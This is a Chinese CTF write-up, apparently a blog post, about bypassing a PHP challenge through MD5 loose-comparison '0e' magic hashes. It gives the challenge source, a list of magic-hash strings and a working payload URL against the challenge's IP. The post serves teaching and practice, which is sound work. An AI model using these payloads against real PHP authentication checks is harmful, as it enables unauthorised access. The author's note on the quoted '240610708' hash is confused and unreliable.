php-MD5()函数漏洞

题目:http://39.105.140.214:20028/test.php

<?php
error_reporting(0);
show_source(__FILE__);
include_once "./flag.php";
if (empty($_GET['b'])){
    
    die();
}else{
    $a = 'welcome';
    $b = $_GET['b'];
    @parse_str($b);
    if ($a[0] != '240610708' && md5($a[0]) == md5('240610708')){
        echo $flag;
    }
    else{
        exit('NO NO NO');
    }
}
?>
  • 注意到@parse_str($b);前面的@表示不报错,下面又要改a的值
  • if判断中,运用到md5的漏洞
  • 还有就是if中a是数组

MD5函数漏洞

$_GET['a'] != $_GET['b'] 
&&
MD5($_GET['a']) == MD5($_GET['b'])

要让上面的等式成立,a和b的值不能相等,但是md5后的值相等。因为是==比较,只判断值是否相等,不判断类型是否相同。如果类型不同先转换为相同类型再进行比较而PHP在处理哈希字符串时后,会把0E开头的哈希值解释为0。所以如果两个值通过md5后值都已0E开头,就会相等。

md5(str)
QNKCDZO
240610708
s878926199a
s155964671a
s214587387a
s214587387a
sha1(str)
sha1后以0E开头
sha1(‘aaroZmOk’)
sha1(‘aaK1STfY’)
sha1(‘aaO8zKZF’)
sha1(‘aa3OFF9m’)

这样就行了http://39.105.140.214:20028/test.php?b=a[]=QNKCDZO
我被坑到的一点是md5(‘240610708’)中‘240610708’是加密240610708的意思,我还以为是加密字符串

  1. 240610708加密后:0e462097431906509019562988736854
  2. '240610708’加密后:b769e04eae186147925f267600e1ffb4
    参考:https://www.cnblogs.com/findneo/p/nupt-ctf-writeup.html
    https://blog.csdn.net/qq_19980431/article/details/83018232
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值